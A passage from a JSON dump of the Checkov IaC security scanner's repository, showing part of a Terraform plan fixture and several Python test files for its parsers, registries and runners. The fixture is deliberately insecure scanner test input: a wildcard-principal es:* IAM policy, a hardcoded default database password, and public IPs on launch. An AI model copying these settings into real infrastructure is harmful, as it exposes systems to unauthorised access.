\"cidr_block\": {\n              \"constant_value\": \"172.16.11.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_volume_attachment.ebs_att\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_volume_attachment\",\n          \"name\": \"ebs_att\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"device_name\": {\n              \"constant_value\": \"/dev/sdh\"\n            },\n            \"instance_id\": {\n              \"references\": [\n                \"aws_instance.web_host\"\n              ]\n            },\n            \"volume_id\": {\n              \"references\": [\n                \"aws_ebs_volume.web_host_storage\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_vpc.eks_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"eks_vpc\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_block\": {\n              \"constant_value\": \"10.10.0.0/16\"\n            },\n            \"enable_dns_hostnames\": {\n              \"constant_value\": true\n            },\n            \"enable_dns_support\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_vpc.web_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"web_vpc\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_block\": {\n              \"constant_value\": \"172.16.0.0/16\"\n            },\n            \"enable_dns_hostnames\": {\n              \"constant_value\": true\n            },\n            \"enable_dns_support\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"null_resource.push_image\",\n          \"mode\": \"managed\",\n          \"type\": \"null_resource\",\n          \"name\": \"push_image\",\n          \"provider_config_key\": \"null\",\n          \"provisioners\": [\n            {\n              \"type\": \"local-exec\",\n              \"expressions\": {\n                \"command\": {\n                  \"references\": [\n                    \"var.region\",\n                    \"data.aws_caller_identity.current\",\n                    \"var.region\",\n                    \"aws_ecr_repository.repository\",\n                    \"aws_ecr_repository.repository\",\n                    \"local.docker_image\",\n                    \"local.docker_image\"\n                  ]\n                },\n                \"working_dir\": {\n                  \"references\": [\n                    \"path.module\"\n                  ]\n                }\n              }\n            }\n          ],\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_ami.amazon-linux-2\",\n          \"mode\": \"data\",\n          \"type\": \"aws_ami\",\n          \"name\": \"amazon-linux-2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"filter\": [\n              {\n                \"name\": {\n                  \"constant_value\": \"owner-alias\"\n                },\n                \"values\": {\n                  \"constant_value\": [\n                    \"amazon\"\n                  ]\n                }\n              },\n              {\n                \"name\": {\n                  \"constant_value\": \"name\"\n                },\n                \"values\": {\n                  \"constant_value\": [\n                    \"amzn2-ami-hvm-*-x86_64-ebs\"\n                  ]\n                }\n              }\n            ],\n            \"most_recent\": {\n              \"constant_value\": true\n            },\n            \"owners\": {\n              \"constant_value\": [\n                \"amazon\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_caller_identity.current\",\n          \"mode\": \"data\",\n          \"type\": \"aws_caller_identity\",\n          \"name\": \"current\",\n          \"provider_config_key\": \"aws\",\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_iam_policy_document.iam_policy_eks\",\n          \"mode\": \"data\",\n          \"type\": \"aws_iam_policy_document\",\n          \"name\": \"iam_policy_eks\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"statement\": [\n              {\n                \"actions\": {\n                  \"constant_value\": [\n                    \"sts:AssumeRole\"\n                  ]\n                },\n                \"effect\": {\n                  \"constant_value\": \"Allow\"\n                },\n                \"principals\": [\n                  {\n                    \"identifiers\": {\n                      \"constant_value\": [\n                        \"eks.amazonaws.com\"\n                      ]\n                    },\n                    \"type\": {\n                      \"constant_value\": \"Service\"\n                    }\n                  }\n                ]\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_iam_policy_document.policy\",\n          \"mode\": \"data\",\n          \"type\": \"aws_iam_policy_document\",\n          \"name\": \"policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"statement\": [\n              {\n                \"actions\": {\n                  \"constant_value\": [\n                    \"es:*\"\n                  ]\n                },\n                \"principals\": [\n                  {\n                    \"identifiers\": {\n                      \"constant_value\": [\n                        \"*\"\n                      ]\n                    },\n                    \"type\": {\n                      \"constant_value\": \"AWS\"\n                    }\n                  }\n                ],\n                \"resources\": {\n                  \"constant_value\": [\n                    \"*\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        }\n      ],\n      \"variables\": {\n        \"ami\": {\n          \"default\": \"ami-09a5b0b7edf08843d\"\n        },\n        \"availability_zone\": {\n          \"default\": \"us-west-2a\"\n        },\n        \"availability_zone2\": {\n          \"default\": \"us-west-2b\"\n        },\n        \"company_name\": {\n          \"default\": \"acme\"\n        },\n        \"dbname\": {\n          \"default\": \"db1\",\n          \"description\": \"Name of the Database\"\n        },\n        \"environment\": {\n          \"default\": \"dev\"\n        },\n        \"neptune-dbname\": {\n          \"default\": \"neptunedb1\",\n          \"description\": \"Name of the Neptune graph database\"\n        },\n        \"password\": {\n          \"default\": \"Aa1234321Bb\",\n          \"description\": \"Database password\"\n        },\n        \"profile\": {\n          \"default\": \"default\"\n        },\n        \"region\": {\n          \"default\": \"us-west-2\"\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/test_provider_tags.py",
    "content": "import pytest\n\nfrom checkov.terraform.tag_providers import get_provider_tag\n\n\n@pytest.mark.parametrize(\"resource_type, expected\", [\n    (\"aws_instance.example\", \"aws\"),\n    (\"module.test.aws_instance.example\", \"aws\"),\n    (\"azure_instance.example\", \"azure\"),\n    (\"google_instance.example\", \"gcp\"),\n])\ndef test_get_provider_tag(resource_type, expected) -> None:\n    assert get_provider_tag(resource_type) == expected\n"
  },
  {
    "path": "tests/terraform/test_scanner_registry.py",
    "content": "import unittest\nfrom copy import deepcopy\n\n# do not remove this - prevents circular import dependency\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration  # noqa\n\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.checks_infra.registry import Registry\nfrom checkov.terraform.checks.resource.registry import resource_registry as registry\nfrom pathlib import Path\n\nclass TestScannerRegistry(unittest.TestCase):\n\n    def setUp(self):\n        self.checks = deepcopy(registry.checks)\n\n    def tearDown(self) -> None:\n        registry.checks = self.checks\n\n    def test_num_of_scanners(self):\n        scanners_counter = 0\n        for key in list(registry.checks.keys()):\n            scanners_counter += len(registry.checks[key])\n\n        self.assertGreater(scanners_counter, 1)\n\n    def test_non_colliding_check_ids(self):\n        check_id_check_class_map = {}\n        for (resource_type, checks) in registry.checks.items():\n            for check in checks:\n                check_id_check_class_map.setdefault(check.id, []).append(check)\n\n        for check_id, check_classes in check_id_check_class_map.items():\n            self.assertEqual(len(set(check_classes)), 1,\"collision on check_id={}\".format(check_id))\n\n    def test_non_colliding_graph_check_ids(self):\n        check_id_check_class_map = {}\n        graph_registry = Registry(parser=GraphCheckParser(), checks_dir=str(Path(__file__).parent.parent.parent / \"checkov\" / \"terraform\" / \"checks\" / \"graph_checks\"))\n        graph_registry.load_checks()\n        for check in graph_registry.checks:\n            check_id_check_class_map.setdefault(check.id, []).append(check)\n\n        for check_id, check_classes in check_id_check_class_map.items():\n            self.assertEqual(len(set(check_classes)), 1,\"collision on check_id={}\".format(check_id))\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/util/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/util/test_doc_generator.py",
    "content": "from __future__ import annotations\n\nimport inspect\nfrom pathlib import Path\n\nimport pytest\n\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.docs_generator import get_checks\n\n\ndef test_get_checks_returned_check_number():\n    checks = get_checks([\"all\"])\n    assert len(checks) > 0\n\n    checks = get_checks()\n    assert len(checks) > 0\n\n    checks = get_checks([\"example\"])\n    assert len(checks) == 0\n\n\n@pytest.mark.parametrize(\n    \"input_frameworks,expected_frameworks\",\n    [\n        (\n            [\"all\"],\n            {\n                \"Ansible\",\n                \"Argo Workflows\",\n                \"arm\",\n                \"Azure Pipelines\",\n                \"Bicep\",\n                \"Cloudformation\",\n                \"dockerfile\",\n                \"Kubernetes\",\n                \"secrets\",\n                \"serverless\",\n                \"Terraform\",\n                \"github_configuration\",\n                \"gitlab_configuration\",\n                \"bitbucket_configuration\",\n                \"bitbucket_pipelines\",\n                \"circleci_pipelines\",\n                \"github_actions\",\n                \"OpenAPI\",\n                \"gitlab_ci\",\n            },\n        ),\n        (\n            None,\n            {\n                \"Ansible\",\n                \"Argo Workflows\",\n                \"arm\",\n                \"Azure Pipelines\",\n                \"Bicep\",\n                \"Cloudformation\",\n                \"dockerfile\",\n                \"Kubernetes\",\n                \"secrets\",\n                \"serverless\",\n                \"Terraform\",\n                \"github_configuration\",\n                \"bitbucket_pipelines\",\n                \"circleci_pipelines\",\n                \"gitlab_configuration\",\n                \"bitbucket_configuration\",\n                \"github_actions\",\n                \"OpenAPI\",\n                \"gitlab_ci\",\n            },\n        ),\n        ([\"terraform\"], {\"Terraform\"}),\n        ([\"cloudformation\", \"serverless\"], {\"Cloudformation\", \"serverless\"}),\n    ],\n    ids=[\"all\", \"none\", \"terraform\", \"multiple\"],\n)\ndef test_get_checks_returned_frameworks(input_frameworks: list[str] | None, expected_frameworks: set[str]):\n    # when\n    checks = get_checks(input_frameworks)\n\n    # then\n    actual_frameworks = {c[4] for c in checks}\n\n    assert actual_frameworks == expected_frameworks\n\n\ndef test_get_checks_graph_registries():\n    \"\"\"\n    For a runner that has graph_checks, the graph registry for that runner should be loaded and returned by the\n    get_checks method.\n    \"\"\"\n    checkov_runners = [value for attr, value in CheckType.__dict__.items() if not attr.startswith(\"__\")]\n    for runner in checkov_runners:\n        graph_registry = get_graph_checks_registry(runner)\n        if Path(graph_registry.checks_dir).is_dir():\n            assert f'get_graph_checks_registry(\"{runner}\")' in inspect.getsource(get_checks)\n"
  },
  {
    "path": "tests/terraform/util/test_iam_converter.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.utils.iam_terraform_document_to_policy_converter import (\n    convert_terraform_conf_to_iam_policy,\n)\n\n\nclass TestIAMConverter(unittest.TestCase):\n    def test_iam_converter(self):\n        conf = {'version': ['2012-10-17'], 'statement': [{'actions': [['*']], 'resources': [['*']]}]}\n        expected_result = {'version': ['2012-10-17'], 'Statement': [{'Action': ['*'], 'Resource': ['*'], 'Effect': 'Allow'}]}\n        result = convert_terraform_conf_to_iam_policy(conf)\n        self.assertDictEqual(result, expected_result)\n        self.assertNotEqual(result, conf)\n\n    def test_convert_condition(self):\n        # given\n        conf = {\n            \"__end_line__\": 77,\n            \"__start_line__\": 42,\n            \"statement\": [\n                {\n                    \"actions\": [[\"kms:Decrypt\", \"kms:GenerateDataKey\"]],\n                    \"condition\": [\n                        {\n                            \"test\": [\"ForAnyValue:StringEquals\"],\n                            \"values\": [[\"pi\"]],\n                            \"variable\": [\"kms:EncryptionContext:service\"],\n                        },\n                        {\n                            \"test\": [\"ForAnyValue:StringEquals\"],\n                            \"values\": [[\"rds\"]],\n                            \"variable\": [\"kms:EncryptionContext:aws:pi:service\"],\n                        },\n                        {\n                            \"test\": [\"ForAnyValue:StringEquals\"],\n                            \"values\": [[\"db-AAAAABBBBBCCCCCDDDDDEEEEE\", \"db-EEEEEDDDDDCCCCCBBBBBAAAAA\"]],\n                            \"variable\": [\"kms:EncryptionContext:aws:rds:db-id\"],\n                        },\n                        {\"test\": [\"ArnEquals\"], \"values\": [[\"arn\"]], \"variable\": [\"aws:SourceArn\"]},\n                    ],\n                    \"resources\": [[\"*\"]],\n                }\n            ],\n            \"__address__\": \"aws_iam_policy_document.example_multiple_condition_keys_and_values\",\n        }\n\n        result = convert_terraform_conf_to_iam_policy(conf)\n\n        self.assertDictEqual(\n            result,\n            {\n                \"__end_line__\": 77,\n                \"__start_line__\": 42,\n                \"__address__\": \"aws_iam_policy_document.example_multiple_condition_keys_and_values\",\n                \"Statement\": [\n                    {\n                        \"Action\": [\"kms:Decrypt\", \"kms:GenerateDataKey\"],\n                        \"Resource\": [\"*\"],\n                        \"Effect\": \"Allow\",\n                        \"Condition\": {\n                            \"ForAnyValue:StringEquals\": {\n                                \"kms:EncryptionContext:service\": [\"pi\"],\n                                \"kms:EncryptionContext:aws:pi:service\": [\"rds\"],\n                                \"kms:EncryptionContext:aws:rds:db-id\": [\n                                    \"db-AAAAABBBBBCCCCCDDDDDEEEEE\",\n                                    \"db-EEEEEDDDDDCCCCCBBBBBAAAAA\",\n                                ],\n                            },\n                            \"ArnEquals\": {\"aws:SourceArn\": [\"arn\"]},\n                        },\n                    }\n                ],\n            },\n        )\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform_json/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform_json/examples/cdk.tf.json",
    "content": "{\n  \"//\": {\n    \"metadata\": {\n      \"backend\": \"local\",\n      \"overrides\": {\n        \"aws_s3_bucket\": [\n          \"//\"\n        ]\n      },\n      \"stackName\": \"AppStack\",\n      \"version\": \"0.15.5\"\n    },\n    \"outputs\": {\n      \"AppStack\": {\n        \"bucket_arn\": \"bucket_arn\"\n      }\n    }\n  },\n  \"data\": {\n    \"aws_caller_identity\": {\n      \"current\": {\n        \"//\": {\n          \"metadata\": {\n            \"path\": \"AppStack/current\",\n            \"uniqueId\": \"current\"\n          }\n        }\n      }\n    }\n  },\n  \"output\": {\n    \"bucket_arn\": {\n      \"value\": \"${aws_s3_bucket.bucket.arn}\"\n    }\n  },\n  \"provider\": {\n    \"aws\": [\n      {\n        \"profile\": \"dev2\",\n        \"region\": \"us-west-2\"\n      }\n    ]\n  },\n  \"resource\": {\n    \"aws_s3_bucket\": {\n      \"bucket\": {\n        \"//\": {\n          \"checkov\": {\n            \"skip\": [\n              {\n                \"comment\": \"Access logging not needed\",\n                \"id\": \"CKV_AWS_18\"\n              }\n            ]\n          },\n          \"metadata\": {\n            \"path\": \"AppStack/bucket\",\n            \"uniqueId\": \"bucket\"\n          }\n        },\n        \"tags\": {\n          \"Name\": \"example\",\n          \"Private\": \"true\"\n        }\n      }\n    },\n    \"aws_s3_bucket_versioning\": {\n      \"bucket_version\": {\n        \"//\": {\n          \"metadata\": {\n            \"path\": \"AppStack/bucket_version\",\n            \"uniqueId\": \"bucket_version\"\n          }\n        },\n        \"bucket\": \"${aws_s3_bucket.bucket.bucket}\",\n        \"versioning_configuration\": {\n          \"status\": \"Enabled\"\n        }\n      }\n    }\n  },\n  \"terraform\": {\n    \"backend\": {\n      \"local\": {\n        \"path\": \"/Users/agruebel/repos/local/cdk-test/terraform.AppStack.tfstate\"\n      }\n    },\n    \"required_providers\": {\n      \"aws\": {\n        \"source\": \"aws\",\n        \"version\": \"4.56.0\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform_json/test_graph_manager.py",
    "content": "from pathlib import Path\n\nimport pytest\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\n\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.terraform.graph_manager import TerraformGraphManager\nfrom checkov.terraform_json.parser import parse\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_build_graph_from_definitions(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"cdk.tf.json\"\n    graph_manager = TerraformGraphManager(db_connector=graph_connector(), source=\"Terraform\")\n    template, _ = parse(file_path=test_file)\n\n    # when\n    local_graph = graph_manager.build_graph_from_definitions(\n        definitions={str(test_file): template}, render_variables=True\n    )\n\n    # then\n    assert len(local_graph.vertices) == 6\n\n    bucket_idx = local_graph.vertices_block_name_map[\"resource\"][\"aws_s3_bucket.bucket\"][0]\n    bucket = local_graph.vertices[bucket_idx]\n\n    assert bucket.block_type == BlockType.RESOURCE\n    assert bucket.id == \"aws_s3_bucket.bucket\"\n    assert bucket.source == \"Terraform\"\n    assert bucket.attributes[CustomAttributes.RESOURCE_TYPE] == [\"aws_s3_bucket\"]\n    assert bucket.attributes[START_LINE] == 46\n    assert bucket.attributes[END_LINE] == 65\n    assert bucket.config == {\n        \"aws_s3_bucket\": {\n            \"bucket\": {\n                \"//\": {\n                    \"checkov\": {\n                        \"skip\": [\n                            {\n                                \"comment\": \"Access logging not needed\",\n                                \"id\": \"CKV_AWS_18\",\n                                \"__startline__\": 50,\n                                \"__endline__\": 53,\n                            }\n                        ],\n                        \"__startline__\": 48,\n                        \"__endline__\": 55,\n                    },\n                    \"metadata\": {\n                        \"path\": \"AppStack/bucket\",\n                        \"uniqueId\": \"bucket\",\n                        \"__startline__\": 56,\n                        \"__endline__\": 59,\n                    },\n                    \"__startline__\": 47,\n                    \"__endline__\": 60,\n                },\n                \"tags\": [{\"Name\": \"example\", \"Private\": \"true\", \"__startline__\": 61, \"__endline__\": 64}],\n                \"__startline__\": 46,\n                \"__endline__\": 65,\n                \"__address__\": \"aws_s3_bucket.bucket\",\n            }\n        }\n    }\n"
  },
  {
    "path": "tests/terraform_json/test_parser.py",
    "content": "from checkov.terraform_json.parser import hclify, prepare_definition\n\n\ndef test_hclify():\n    # given\n    bucket_version = {\n        \"//\": {\n            \"metadata\": {\n                \"path\": \"AppStack/bucket_version\",\n                \"uniqueId\": \"bucket_version\",\n            }\n        },\n        \"bucket\": \"${aws_s3_bucket.bucket.bucket}\",\n        \"versioning_configuration\": {\n            \"status\": \"Enabled\",\n        },\n    }\n\n    # when\n    result = hclify(obj=bucket_version)\n\n    # then\n    assert result == {\n        \"//\": {\n            \"metadata\": {\n                \"path\": \"AppStack/bucket_version\",\n                \"uniqueId\": \"bucket_version\",\n            }\n        },\n        \"bucket\": [\"${aws_s3_bucket.bucket.bucket}\"],\n        \"versioning_configuration\": [\n            {\n                \"status\": [\"Enabled\"],\n            }\n        ],\n    }\n\n\ndef test_prepare_definition_locals():\n    cdk_definition = {\n        \"locals\": {\n            \"bucket_name\": \"example\",\n            \"http_endpoint\": \"disabled\",\n            \"__startline__\": 1,\n            \"__endline__\": 2,\n        }\n    }\n\n    # when\n    tf_definition = prepare_definition(cdk_definition)\n\n    # then\n    assert tf_definition == {\n        \"locals\": [\n            {\n                \"bucket_name\": [\"example\"],\n                \"http_endpoint\": [\"disabled\"],\n                \"__startline__\": 1,\n                \"__endline__\": 2,\n            }\n        ]\n    }\n"
  },
  {
    "path": "tests/terraform_json/test_runner.py",
    "content": "from pathlib import Path\n\nimport pytest\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform_json.runner import TerraformJsonRunner\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_honors_enforcement_rules(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"cdk.tf.json\"\n\n    # when\n    filter = RunnerFilter(framework=[CheckType.TERRAFORM_JSON], use_enforcement_rules=True)\n    # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n    # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n    filter.enforcement_rule_configs = {CheckType.TERRAFORM_JSON: Severities[BcSeverities.OFF]}\n    report = TerraformJsonRunner(db_connector=graph_connector()).run(files=[str(test_file)], runner_filter=filter)\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_passing_check(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"cdk.tf.json\"\n\n    # when\n    report = TerraformJsonRunner(db_connector=graph_connector()).run(\n        root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AWS_41\", \"CKV_AWS_21\"])\n    )\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 2\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector,\n    ],\n)\ndef test_runner_failing_check(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"cdk.tf.json\"\n\n    # when\n    report = TerraformJsonRunner(db_connector=graph_connector()).run(\n        root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV2_AWS_6\"])\n    )\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n"
  },
  {
    "path": "tests/test_contributor_metrics.py",
    "content": "from __future__ import annotations\n\nfrom unittest import mock\n\nfrom checkov.contributor_metrics import process_contributor, parse_gitlog\n\n\ndef test_process_contributor():\n    contributor = 'Fake User <fake.user@gmail.com> (50):\\n    commit-1667835804\\n    commit-1667835527\\n    ' \\\n                  'commit-1667834817\\n    commit-1667826784\\n    commit-1667808222'\n\n    result = process_contributor(contributor)\n\n    assert result == \"Fake User <fake.user@gmail.com> 1667835804\"\n\n\n@mock.patch(\"subprocess.Popen\")\ndef test_parse_gitlog(mock_subproc_popen):\n    process_mock = mock.Mock()\n    output = 'Fake User <fake1@paloaltonetworks.com> (40):\\n      commit-1666516907\\n      commit-1666259461\\n      ' \\\n             'commit-1666259213\\n      commit-1666258676\\n      commit-1666258296\\n      commit-1666258146\\n      ' \\\n             'commit-1660669175\\n      commit-1660668538\\n      commit-1660626680\\n      commit-1660626648\\n      ' \\\n             'commit-1660589354\\n      commit-1660588125\\n\\n' \\\n             'dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> (38):\\n      ' \\\n             'commit-1667819806\\n      commit-1667819799\\n      commit-1667819792\\n      commit-1667216836\\n       ' \\\n             'commit-1662541125\\n      commit-1662476433\\n      commit-1661850978\\n      commit-1661850966\\n       ' \\\n             'commit-1661746095\\n      commit-1661154962\\n      commit-1661154940\\n\\n' \\\n             'Fake User <fake2@paloaltonetworks.com> (31):\\n      commit-1667216980\\n      commit-1667216720\\n      ' \\\n             'commit-1667216720\\n      commit-1661265981\\n      commit-1661265975\\n      commit-1660808330\\n      ' \\\n             'commit-1660799407\\n      commit-1660737117\\n      commit-1660632107\\n      commit-1660631663'\n    attrs = {\"communicate.return_value\": (output.encode('utf-8'), '')}\n    process_mock.configure_mock(**attrs)\n    mock_subproc_popen.return_value = process_mock\n\n    result = parse_gitlog(\"my_repo\", \"jenkins\")\n    assert result == {\"repository\": \"my_repo\",\n                      \"source\": \"jenkins\",\n                      \"contributors\": [\"Fake User <fake1@paloaltonetworks.com> 1666516907\",\n                                                                \"dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> 1667819806\",\n                                                                \"Fake User <fake2@paloaltonetworks.com> 1667216980\"],\n                      'failedAttempts': []}\n"
  },
  {
    "path": "tests/test_main.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING\n\nfrom _pytest.logging import LogCaptureFixture\nfrom typing_extensions import Literal\n\nfrom checkov import main\nfrom checkov.common.runners.base_runner import BaseRunner\nfrom checkov.common.runners.runner_registry import RunnerRegistry\nfrom checkov.common.util.type_forcers import convert_str_to_optional_bool\nfrom checkov.main import DEFAULT_RUNNERS, Checkov\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    import argparse\n    from checkov.common.output.baseline import Baseline\n    from checkov.common.output.report import Report\n\n\nclass CustomRunnerRegistry(RunnerRegistry):\n    def __init__(self, banner: str, runner_filter: RunnerFilter, *runners: BaseRunner) -> None:\n        super().__init__(banner, runner_filter, *runners)\n\n    def print_reports(\n        self,\n        scan_reports: list[Report],\n        config: argparse.Namespace,\n        url: str | None = None,\n        created_baseline_path: str | None = None,\n        baseline: Baseline | None = None,\n    ) -> Literal[0, 1]:\n        # result doesn't matter, just don't want it to print to console\n        return 0\n\n\ndef test_run_with_outer_registry_and_framework_flag():\n    # given\n    custom_banner = \"custom banner\"\n    resource_dir = Path(__file__).parent / \"common/runner_registry/example_multi_iac\"\n    argv = [\"-d\", str(resource_dir), \"--framework\", \"terraform\"]\n\n    # when\n    main.outer_registry = CustomRunnerRegistry(custom_banner, RunnerFilter(), *DEFAULT_RUNNERS)\n    ckv = Checkov()\n    ckv.parse_config(argv=argv)\n    ckv.run(banner=custom_banner)\n\n    # then\n    assert len(main.outer_registry.runners) == 1\n    assert main.outer_registry.runners[0].check_type == \"terraform\"\n\n    # cleanup\n    main.outer_registry = None\n\n\ndef test_run():\n    # given\n    custom_banner = \"custom banner\"\n    custom_tool = \"custom tool\"\n    resource_dir = Path(__file__).parent / \"common/runner_registry/example_multi_iac\"\n    argv = [\"-d\", str(resource_dir), \"--framework\", \"terraform\", \"kubernetes\"]\n\n    # when\n    ckv = Checkov()\n    ckv.parse_config(argv=argv)\n    ckv.run(banner=custom_banner, tool=custom_tool)\n\n    # then\n    # check run_metadata has all fields set\n    assert ckv.run_metadata[\"checkov_version\"] and isinstance(ckv.run_metadata[\"checkov_version\"], str)\n    assert ckv.run_metadata[\"python_executable\"] and isinstance(ckv.run_metadata[\"python_executable\"], str)\n    assert ckv.run_metadata[\"python_version\"] and isinstance(ckv.run_metadata[\"python_version\"], str)\n    assert ckv.run_metadata[\"checkov_executable\"] and isinstance(ckv.run_metadata[\"checkov_executable\"], str)\n    assert ckv.run_metadata[\"args\"] and isinstance(ckv.run_metadata[\"args\"], list)\n\n    # check all runners were initialized, but only 2 were actually run\n    assert len(ckv.runners) == 29\n\n    assert len(ckv.scan_reports) == 2\n    assert {report.check_type for report in ckv.scan_reports} == {\"kubernetes\", \"terraform\"}\n\n\ndef test_run_with_severity_filter_and_api_key(caplog: LogCaptureFixture):\n    # given\n    caplog.set_level(logging.WARNING)\n    custom_banner = \"custom banner\"\n    resource_dir = Path(__file__).parent / \"common/runner_registry/example_multi_iac\"\n    argv = [\n        \"-d\", str(resource_dir),\n        \"--framework\", \"terraform\",\n        \"--check\", \"MEDIUM\",\n        \"--bc-api-key\", \"12345678-abcd-1234-abcd-123456789012\",\n        \"--repo-id\", \"acme/example\",\n        \"--show-config\",  # just set to terminate the run early enough\n    ]\n\n    # when\n    ckv = Checkov()\n    ckv.parse_config(argv=argv)\n    ckv.run(banner=custom_banner)\n\n    # then\n    assert not caplog.messages\n\n\ndef test_run_with_severity_filter_without_api_key(caplog: LogCaptureFixture):\n    # given\n    caplog.set_level(logging.WARNING)\n    custom_banner = \"custom banner\"\n    resource_dir = Path(__file__).parent / \"common/runner_registry/example_multi_iac\"\n    argv = [\n        \"-d\", str(resource_dir),\n        \"--framework\", \"terraform\",\n        \"--check\", \"MEDIUM\",\n    ]\n\n    # when\n    ckv = Checkov()\n    ckv.parse_config(argv=argv)\n    ckv.run(banner=custom_banner)\n\n    # then\n    assert \"Filtering checks by severity is only possible with an API key\" in caplog.messages\n\n\ndef test_run_with_severity_skip_filter_without_api_key(caplog: LogCaptureFixture):\n    # given\n    caplog.set_level(logging.WARNING)\n    custom_banner = \"custom banner\"\n    resource_dir = Path(__file__).parent / \"common/runner_registry/example_multi_iac\"\n    argv = [\n        \"-d\", str(resource_dir),\n        \"--framework\", \"terraform\",\n        \"--skip-check\", \"MEDIUM\",\n    ]\n\n    # when\n    ckv = Checkov()\n    ckv.parse_config(argv=argv)\n    ckv.run(banner=custom_banner)\n\n    # then\n    assert \"Filtering checks by severity is only possible with an API key\" in caplog.messages\n\ndef test_run_custom_severity():\n    custom_banner = \"custom banner\"\n    resource_dir = Path(__file__).parent / \"common/runner_registry/example_multi_iac\"\n    extra_checks_dir_path = Path(__file__).parent / \"common/checks_infra/examples\"\n    argv = [\"-d\", str(resource_dir), \"--framework\", \"terraform\", \"--external-checks-dir\", str(extra_checks_dir_path), \"--check\", \"CUSTOM_SEVERITY\"]\n\n    # when\n    ckv = Checkov()\n    ckv.parse_config(argv=argv)\n    ckv.run(banner=custom_banner)\n\n    # then\n    for report in ckv.scan_reports:\n        assert report.failed_checks[0].check_id == 